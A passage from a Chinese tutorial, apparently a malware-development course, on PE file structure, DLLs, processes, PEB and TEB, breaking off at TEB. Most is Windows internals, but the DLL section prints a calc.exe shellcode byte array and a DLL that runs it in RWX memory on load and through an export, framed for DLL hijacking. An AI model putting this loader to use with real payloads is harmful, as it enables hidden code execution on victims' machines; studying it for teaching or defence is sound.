  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  ULONGLONG            SizeOfStackReserve;
  ULONGLONG            SizeOfStackCommit;
  ULONGLONG            SizeOfHeapReserve;
  ULONGLONG            SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

以及在 PE Bear 中查看 Optional Header

image.png

image.png

一些比较重要的成员如下:

Magic 描述了该映像文件是 32 位还是 64 位的,当前是 64 位的。

AddressOfEntryPoint 表示程序入口相对虚拟内存地址 (RVA)。RVA 指的是当 PE 在内存中,距离开头(PE 的第一个字节) 的偏移。程序入口通常是 main 函数,默认在 .text 节。当前是 0x12D0,而当 PE 存在于磁盘中,入口的偏移是 6D0。这是因为 PE 文件在内存中和在磁盘中的展现出的结构有所不同。

image.png

当 PE 在磁盘以及内存中时,结构示意图如下所示:

image.png

BaseOfCode 表示当 PE 在内存中时,.text 的偏移,这里是 0x1000(因为PE头是固定的,所以一般来说都是0x1000),而在磁盘中 .text 节的偏移为 0x400(一般来说都是这个值)。

SizeOfCode .text 节大小

ImageBase 为当 PE 文件被载入内存时,偏好的基址,但实际不一定是该值。

SectionAlignment 是当 PE 在内存中时,对齐系数的值,是 0x1000。RVA 表示在内存中距离 PE 文件开头的偏移 (虚拟地址 VA=基址+相对虚拟地址RVA),而当 PE 文件分别处于内存和磁盘中时,RVA 与偏移 (Offset) 的差异是因为 SectionAlighment 以及 FileAlignment

FileAlignment 是当PE 文件在磁盘时,对齐系数的值,是 0x200

SizeOfImage 表示当 PE 在内存中时,整个映像取整 (对齐系数 0x1000 的整数倍)后的尺寸

SizeOfHeaders 表示取整后的所有头尺寸,是对齐系数 0x200 的整数倍

CheckSum 是校验文件完整性的数据

NumberOfRvaAndSize DataDirectory 条目的数量

DataDirectory 是一组 IMAGE_DATA_DIRECTORY 结构体类型的数列,每个条目有 2 个属性,VirtualAddress (但实际上是 RVA) 和 Size。这些目录包含许多在运行时可能需要的重要数据结构体条目以及函数,以方便定位到它们。

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

虽然有 NumberOfRvaAndSize 值为 16,但目前实际只有 15 个目录条目。

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

image.png

这些目录中,比较重要的有导出目录导入目录导入地址表。导出目录包含有关从可执行文件导出的函数和变量的信息。它包含导出的函数和变量的地址,其他可执行文件可以使用这些地址来访问函数和数据。导出目录通常存在于导出函数的 DLL 中,例如 user32.dll 导出了 MessageBoxW 函数。导入目录包含有关解析可执行文件从其他模块导入的符号所需的不同结构体的信息,此信息有助于可执行文件解析导入函数的地址。导入地址表 (IAT) 是 PE 中的一种数据结构,包含从其他可执行文件导入的函数的地址信息,这些地址用于访问其他可执行文件中的函数和数据。例如当前文件 从 user32.dll 导入了 MessageBoxW 函数。

image.png



PE 节

PE 节包含用于创建可执行程序的代码和数据,每个 PE 节都有一个唯一的名称,并且通常包含可执行代码数据资源信息。 PE 节的数量没有固定值,因为不同的编译器可以根据配置添加、删除或合并节,有些部分也可以在之后手动添加,因此 PE 节是动态的,并且 IMAGE_FILE_HEADER.NumberOfSections 有助于确定该数量。

image.png

image.png

节表紧接着 Optional  头。那么,我们怎么定位到节表呢?首先,我们在 0x3C 处找到 NT 头的偏移,当前程序是 0xF0

image.png

NT 头的结构体如下,DWORD 占用 4 个字节,因此 File 头的偏移位于 0xF0+4=0xF4

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

image.png

File 头的结构体如下,根据数据类型计算总尺寸:2+2+4+4+4+2+2=0x14

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

加上目前的偏移 0xF4,我们得到可选头的偏移 0x108

image.png

根据 File 头中的可选头的尺寸 0xF0,最终得到节表的偏移为 0x108+0xF0=0x1F8

image.png

image.png

用公式计算的话,偏移如下:

Offset = PE[0x3c] + 0x18 + PE[PE[0x3c]+0x14]

节表里有多个条目,当前是 6 个,查看其结构体:

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Name 表示节名,通常以 . 开头,但并非必要,非常规的节名可能引起恶意软件分析师的怀疑。VirtualSize 是一个 union 类型数据,考虑到当前文件是一个映像文件,因此表示当载入至内存节的尺寸。节头包含了文件在内存和磁盘时的信息,VirtualAddress 表示该节的 RVAPointerToRawData 表示当文件在磁盘时该节的偏移,当前为 0x400,是 0x200 的 2 倍。SizeOfRawData 表示的则是在磁盘时该节的尺寸,这里是 0xE00。对于 .text 节,如果 VirtualSize 的尺寸远大于 SizeOfRawData,意味着可能被 packer 打包过了。

这些节都是紧挨着一起的。

image.png

由于尺寸需要是对齐系数的整数倍,原始数据之后被 0x00 填充。

image.png

Characteristics 表示节的属性,可以查看微软文档 https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-flags

接下来,我们分别讨论一下一些常见节的作用:

text 包含了可执行的代码可读可执行但不可写

data 包含了初始化的变量,可能为全局变量和静态变量,因为这些变量可以在运行时更改,因此该节可读可写

bss 包含了未初始化的变量可读可写

rdata 包含了可读的初始化数据,常量,可能为全局常量或静态变量,不可写。根据编译器的配置,edata idata 节可被整合进 rdata 节。

edata 包含了 EAT。该节可随着编译器的配置被整合进 rdata 节。

idata 包含了 IAT。该节可随着编译器的配置被整合进 rdata 节。下文中我们会知道 IAT 会被逐渐更新,而 rdata 节是只读的,因为延迟加载的 DLL 可以暂时更改页的权限从而允许写。

reloc 包含了给程序分配地址的信息。

rsrc 包含了资源信息,例如图标、字符串等。


导入与导出

接下来,我们着重讨论一下 PE 文件的导入与导出。用 PE Bear 载入一非托管 DLL,例如 user32.dll。在导出部分,我们能看到该 DLL 导出了大量的函数供其他 PE 文件所用。

image.png

导出目录的结构体如下:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // EAT (Export Address Table)的 RVA
    DWORD   AddressOfNames;         // ENPT (Export Name Pointer Table)的 RVA
    DWORD   AddressOfNameOrdinals;  // OT (Ordinal Table)的 RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

该表的主要作用是存储其他导出相关表的位置。具体来说,AddressOfFunctions 指向导出地址表 (EAT),AddressOfNames 指向导出名称指针表 (ENPT),AddressOfNameOrdinals 指向序数表。为了能理解这些表,我们需要知道函数是如何被引用的,通过名称或者序数

假设是通过序数来导入,序数是 EAT 的索引,每个条目包含函数的 RVA

如果是使用名称来导入,过程会更加复杂一些。在 ENPT 中,每个条目都有一个索引,当在索引 i 处找到想要的函数名称的 RVA (进而得到函数的名称),在序数表的索引 i 处,能得到另一个索引,记为 j。而在 EAT 的索引 j 处,最终得到了函数的 RVA

image.png

image.png

//通过序数
//在EAT的第i处找到想要的函数
RVA = EAT[i]

//通过名称
//在ENPT的第i处找到想要的函数名称
RVA = EAT[ OT[i] ] //OT[i]=j


我们理解了导出的步骤,接下来讨论一下导入。继续以我们上个小节编写的 MessageBox C++ 程序为例。在 PE Bear 中查看导入部分信息:

image.png

图中部分是导入目录,每个条目是导入的 DLL,条目的结构体如下:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk; // ILT/INT (Import Lookup Table)的 RVA
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;             // IAT (Import Address Table)的 RVA
} IMAGE_IMPORT_DESCRIPTOR;

Name DLL 名称字符串的 RVAOriginalFirstThunk 指向特定 DLL 的 ILT/INT (导入查询表),FirstThunk 指向 IAT。在导入的函数名被解析为地址之前,ILT 与 IAT 具有相同的内容,并且由每个导入函数的条目组成,条目的数据类型是 _IMAGE_THUNK_DATA64 结构体

IAT 与 ILT 中的条目的结构体如下:

typedef struct _IMAGE_THUNK_DATA64 {
   union {
      ULONGLONG ForwarderString;  
      ULONGLONG Function;        
      ULONGLONG Ordinal;    // (最高位为1) 函数序数
      ULONGLONG AddressOfData;    // (最高位为0) HintName 表/_IMAGE_IMPORT_BY_NAME 结构体的 RVA
   } u1;
} IMAGE_THUNK_DATA64, *PIMAGE_THUNK_DATA64;

每个条目的最高位序数/名称标志,用于指定是通过序数还是函数名导入函数。如果该位设置为 1,那么一些位会包含函数的序数值,反之则是 Hint/Name 表 的 RVA。当这些导入函数的地址被解析后,IAT 条目将被解析的地址覆盖。

IMAGE_THUNK_DATA64 结构体只有 1 个成员,对于可执行文件,该 ULONGLONG 成员可以有 2 种含义,分别是 Ordinal,表示序数;以及 AddressOfData,是 Hint/Name 表的 RVA。Hint/Name 表的数据类型是 IMAGE_IMPORT_BY_NAME 结构体:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;    // ENPT 的索引
    CHAR   Name[1];  // 导入函数的名称的字符串
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

成员 Hint ENPT 的索引,Name 是包含导入函数名称的字符串,被用于确认 Hint 位于 ENPT 中的正确位置,或者(如果当 Hint 不对) 寻找正确的位置。因为 ENPT 中的条目会让我们得到序数,并最终在 EAT 中得到函数的 RVA。当 RVA 被找到,IAT 表中的条目将被重写为函数的 RVA。

image.png

总之,每个载入的 DLL 都以结构体 IMAGE_IMPORT_DESCRIPTOR 条目的形式出现在导入目录中,该结构体包含了 DLL 的名称、ILT 以及 IAT 的 RVA。在载入之前,IAT 与 ILT 是相同的,包含了导入函数的引用。当载入时,加载器检查 IAT 条目,并通过检查条目的最高位是否被设置来确定是按序数导入还是按名称导入。如果导入按序数进行,只需通过检查相应 DLL 的导出数据将序数解析为地址,并用该地址覆盖 IAT 条目。如果导入是按名称完成的,则首先检查条目指向的 IMAGE_IMPORT_BY_NAME (Hint/Name 表) 结构体,然后使用 Hint 和函数名称将函数解析为地址并覆盖 IAT 条目。

查看 IAT,因为序数为空,因此是通过名称导入的。

image.png


原始偏移与 RVA 转换

我们知道 Offset 表示当 PE 文件存在于磁盘中,某一位置距离文件头的偏移,而 RVA 表示当 PE 文件被加载至内存中,与基址的距离。那么,我们怎么实现将 RVA 转化为 Offset 呢?

首先,我们需要确定给定 RVA 所在的节。以导出表结构体 Name 成员 (不一定每个 PE 文件都有,以一非托管 DLL 为例) 为例,该成员指向当前模块的名称,即名称字符串的 RVA,我们可以看到 RVA 是 0x28A2

image.png

查看节表,我们发现该 RVA 在 rdata 节,因为 28A2 < 2CB8

image.png

用该 RVA 减去此节的 RVA,这里是 0x2000,得到 0x8A2。最后,我们加上此节的 PointerToRawData,即当该文件在磁盘中时,此节的偏移值,这里是 0x1400。

Offset = 0x28A2 - 0x2000 + 0x1400 = 0x1CA2

跳转到 0x1CA2 的原始偏移处,正是该模块的名称。

image.png

综上,公式如下:

1: 确定该RVA处于哪个节,节的范围为 [_IMAGE_SECTION_HEADER.VirtualAddress, _IMAGE_SECTION_HEADER.VirtualAddress + _IMAGE_SECTION_HEADER.VirtualSize]
2: 原始偏移 = RVA - _IMAGE_SECTION_HEADER.VirtualAddress + _IMAGE_SECTION_HEADER.PointerToRawData




总结

总结一下在 PE 文件中一些重要属性的位置,并根据自己需要进一步增加与完善表格的条目。

名称 偏移值
备注
PE 头
0
固定值 0x4D5A
NT 头偏移
0x3C

NT 头
PE [0x3C]
固定值 0x50450000
File 头
PE[0x3C] + 0x4

节数目
PE[0x3C] + 0x6
可选头尺寸
PE[0x3C] + 0x14
可选头
PE[0x3C] + 0x18
程序入口
PE[0x3C] + 0x28
.text 节 RVA
PE[0x3C] + 0x2C 通常为 0x1000
映像偏好基址
PE[0x3C] + 0x30
映像尺寸 PE[0x3C] + 0x50
.text 节 Offset PE[0x3C] + 0x54 通常为 0x400
导出目录 RVA x86
PE[0x3C] + 0x18 + 0x60
PE32。除此行之外皆为 PE64 下的情况
导出目录 RVA x64
PE[0x3C] + 0x18 + 0x70

模块名称 x64
PE[PE[0x3c] + 0x88] + 0xC
模块基址 x64
PE[PE[0x3c] + 0x88] + 0x10
函数数量
PE[PE[0x3c] + 0x88] + 0x14
函数名称数量
PE[PE[0x3c] + 0x88] + 0x18
EAT 的 RVA
PE[PE[0x3c] + 0x88] + 0x1C
EAT
PE[PE[PE[0x3c] + 0x88] + 0x1C]
当模块被载入内存中时
ENPT 的 RVA
PE[PE[0x3c] + 0x88] + 0x20
ENPT
PE[PE[PE[0x3c] + 0x88] + 0x20]
当模块被载入内存中时
序数表的 RVA
PE[PE[0x3c] + 0x88] + 0x24
序数表
PE[PE[PE[0x3c] + 0x88] + 0x24]
当模块被载入内存中时
节表 PE[0x3C] + 0x18 + PE[ PE[0x3C] +0x14]

动态链接库文件

DLL 文件

对于 Windows 操作系统,EXE 与 DLL 虽然同为 PE 文件,但是这 2 种文件类型依旧有着诸多的不同。DLL 是可执行函数或数据的共享库,可供多个应用程序同时使用。DLL 文件用于导出供进程使用的函数。与 EXE 文件不同,DLL 文件不能独自被用于执行代码 (例如不能双击即运行),而是需要由其他程序调用 DLL 中的函数来实现代码执行。如我们之前探讨的 MessageBoxW,是从 user32.dll 导出的,因此如果程序想要调用该函数,首先需要将 user32.dll 加载到其地址空间中。

默认情况下,一些 DLL 会自动加载到每个进程中,例如 ntdll.dllkernel32.dll kernelbase.dll 等,因为这些导出函数对于进程的正常执行非常重要。

例如,我们查看 explorer.exe 与 firefox.exe 加载的 DLL,它们都加载了 kernel32.dll,且该 DLL 的基址都是一样的,这也印证了同个 DLL 可供多个应用程序同时使用。

image.png

image.png

总之,DLL 在 Windows 上被广泛使用的原因有代码模块化代码重用内存高效使用等。


编写 DLL

让我们使用 C++ 编写一个 DLL 文件以了解 DLL 在代码层面的结构。虽然 C# 也可以用于编写 DLL 文件,但是 C# 编译的 DLL 是托管DLL,而 C++ 编译的 DLL 是非托管 DLL,用途和用法上也有较大的不同,因此我们现在着眼于 C++ 编写的 DLL 文件。

使用 Visual Studio 新建一个 C++ 语言的 Dynamic-Link Library 项目:

image.png

一个 DLL 文件的代码框架如下:

#include "pch.h"


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

DllMain 为 DLL 文件的入口,switch 分支里的 4 个 case 分别为:进程在加载该 DLL进程在创建新线程线程正常退出进程解除对该 DLL 的加载。在上个小节,我们讲了 DLL 文件可以提供导出函数为其他 PE 文件所用,对于想要导出的函数,在前面加上 extern __declspec(dllexport) 关键字。

观察以下代码,我们发现当该 DLL 被加载时,MessageBox 会弹出,显示 Loaded!。而当导出函数 messagebox() 被调用的时候,MessageBox 也会弹出,但显示的是 Export Function is invoked

#include "pch.h"
#include "windows.h"
#include "stdlib.h"


extern "C" __declspec(dllexport) void messagebox()
{
    MessageBoxA(NULL, "Export Function is invoked", "Export", MB_OK);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Loaded!", "ATTACH", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译后,使用 PE Bear 查看导出表,我们便能看到 messagebox 导出函数。

image.png

从恶意软件开发的角度,尤其是配合之前所讲的 DLL 劫持/代理技术,想要在 DLL 里实现 Shellcode 执行,我们需要注意不能在 DllMain 中使用 LoadLibrary,不然会导致死锁问题。以 Meterpreter 或 CobaltStrike 的 Shellcode 为例,它们都有用到 LoadLibrary 来加载所需函数寄居的 DLL。那么,要在 DLL 中执行 Shellcode,我们可以在 DllMain 中创建一个新的线程来执行 Shellcode,或者在导出函数中执行 Shellcode。

如下图所示的代码,函数 calc_export calc_dllmain 中的代码基本相同。calc_export 可以从外部调用,例如通过 rundll32 指定该导出函数。calc_dllmain 则是将要在 DllMain 中执行的代码进行了封装,该函数通过创建新的进程的方式执行了计算器的 Shellcode。

#include "pch.h"
#include "windows.h"
#include "stdlib.h"


unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};



extern "C" __declspec(dllexport) void calc_export()
{
    int length = sizeof(shellcode);
    void * exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    ((void(*) ()) exec)();
}


void calc_dllmain()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        calc_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

使用 rundll32 外部调用 calc_export 函数,计算器弹出来 2 次,一次是从 DllMain 中的 Shellcode 执行,一次是我们指定的导出函数中的 Shellcode 执行。

image.png



载入 DLL

对于像刚才那样我们自己编写的 DLL 文件,Windows 是不会自动载入的。那么,我们该怎么在一个应用程序中载入该 DLL 并调用其导出函数呢?简单地说,先通过 LoadLibrary API 来载入指定 DLL 文件至程序的内存,接着使用 GetProcessAddress 获得导出函数的地址,最后执行该函数。代码如下:

#include <iostream>
#include <windows.h>

typedef void (*calc_export)();

int main()
{
    HMODULE hModule = LoadLibraryA("D:\\tooling\\dllcpp\\x64\\Release\\dllcpp.dll");
    calc_export calc_ptr=(calc_export)GetProcAddress(hModule, "calc_export");
    calc_ptr();
}

image.png

如果 DLL 已经被载入到应用的内存中,那么使用 GetModuleHandle API 获得对该 DLL 的句柄。

#include <iostream>
#include <windows.h>

typedef int (WINAPI* MessageBoxAType)(
    HWND          hWnd,
    LPCSTR        lpText,
    LPCSTR        lpCaption,
    UINT          uType
    );

int main()
{
    HMODULE hModule = GetModuleHandleA("user32.dll");
    if (hModule != NULL)
    {
        MessageBoxAType msg_ptr = (MessageBoxAType)GetProcAddress(hModule, "MessageBoxA");
        if (msg_ptr != NULL)
        {
            msg_ptr(NULL, "Dler Security 2022", "Message", MB_OK);
        }
        else
        {
            std::cout << "Failed to locate the function." << std::endl;
        }
    }
    else
    {
        std::cout << "Failed to load the DLL." << std::endl;
    }
}

进程与线程

在恶意软件开发领域,诸多代码注入防御规避技术是围绕着进程与线程展开的,因此我们首先需要理解进程与线程的相关概念。

进程与线程

Windows 进程是指当前运行在 Windows 主机上的程序或者应用的实例,每个进程都与其他进程隔离,并拥有由操作系统分配的私有资源。进程可以是用户或者操作系统开启的,消耗着如内存、磁盘空间等资源。

线程是进程内的最小执行单元,每个 Windows 进程由 1 个或多个线程并发运行。进程中运行的每个线程共享进程的内存和资源。 与进程不同,线程之间不是相互隔离的,可以直接与进程中的其他线程交互。

总之,进程是一个正在运行的程序,拥有操作系统分配的独自的资源,而线程是进程内的执行路径。进程中的多个线程共享进程的资源,但独立地并发地执行。因此,虽然一个进程可以在其中运行多个线程,但每个线程独立操作,执行自己的指令,这个概念是并发编程的关键,其中同时执行多个任务以提高程序的效率和性能。

image.png

 

进程内存

Windows 进程也使用内存来存储数据和指令。当进程创建时,会被分配内存,分配的内存量可以由进程本身设置。操作系统使用虚拟内存和物理内存来管理内存。通过创建可由应用程序访问的虚拟地址空间,虚拟内存允许操作系统使用比物理可用内存更多的内存。这些虚拟地址空间被划分为页,然后分配给进程。

进程可以有不同类型的内存:

私有内存:专用于单个进程,不能被其他进程所共享,这种类型的内存用于存储特定于进程的数据。
映射内存:可以在 2 个或多个进程之间共享,它用于在进程之间共享数据,例如共享库、共享内存段和共享文件。映射内存对其他进程可见,但不会被其他进程修改。
映像内存:包含可执行文件的代码和数据,它用于存储进程使用的代码和数据,例如程序的代码、数据和资源。 映像内存通常与加载到进程地址空间中的 DLL 文件相关。


PEB

进程环境块 (PEB) 是 Windows 中的一种数据结构,其中包含有关进程的信息,例如进程的参数启动信息分配的堆信息加载的 DLL 等。操作系统使用 PEB 来存储正在运行的进程的信息,Windows 加载程序使用它来启动应用程序。它还存储有关进程的信息,例如进程 ID (PID) 和可执行文件的路径

创建的每个进程都有自己的 PEB 数据结构,C 语言下的 PEB 结构体如下所示:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

微软并没有在文档中记录所有的元素,并且 PEB 可能在以后进行修改。该结构体中的一些元素对于进程的操作较为重要


BegingDebugged

该元素表示当前进程是否正在被 Debug,当进程正在被调试时,该元素被设置为 1 (TRUE),反之则为 0 (FALSE)。


LDR

Ldr 是指向 PEB 中的 PEB_LDR_DATA 结构体的指针,该结构包含有关进程加载的 DLL 模块的信息。它包含了进程中加载的 DLL 的列表、每个 DLL 的基址以及大小,Windows 加载程序使用它来跟踪进程中加载的 DLL。我们则可以通过 LDR 枚举进程载入的 DLL 以及查找进程内存中的特定 DLL。

PEB_LDR_DATA 结构体如下所示:

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

我们可以通过 LDR 枚举进程载入的 DLL 以及查找进程内存中的特定 DLL,以及寻找特定 DLL (例如 kernel32.dll) 的基址。并且根据这些信息来实现自定义的 GetModuleHandle


ProcessParameters

ProcessParameters 是 PEB 中的结构体,包含了映像路径、传递给进程的命令行参数等信息。Windows 加载程序将这些参数添加到进程的 PEB 结构中。ProcessParameters 是指向 RTL_USER_PROCESS_PARAMETERS 结构体的指针,代码如下所示:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

ProcessParameter 可被利用于实现命令行伪造攻击,我们在下一章节会介绍到。



PostProcessInitRoutine

PEB 结构中的 PostProcessInitRoutine 元素用于存储指向一个函数的指针,该函数在进程中的所有线程完成 TLS (线程本地存储) 初始化后由操作系统调用。该函数可用于执行该进程所需的任何其他初始化任务。


SessionId

PEB 中的 SessionID 元素是分配给单个会话的唯一标识符,用于追踪会话期间的用户活动。



TEB

TEB (线程环境块) 是 Windows 中存储有关线程信息的结构体,是为进程中的每个线程分配的数据块,操作系统使用它来管理线程。它包含线程的环境、安全上下文和其他相关信息。它存储在线程的中,供 Windows 内核用来管理线程。

在 C 语言中,TEB 的结构体如下所示:

typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;

TEB 中的一些元素较为重要,我们分别来查看:

 

ProcessEnvironmentBlock

该元素是 PEB 结构体的指针,PEB 在上文刚讨论过。

 

TlsSlots

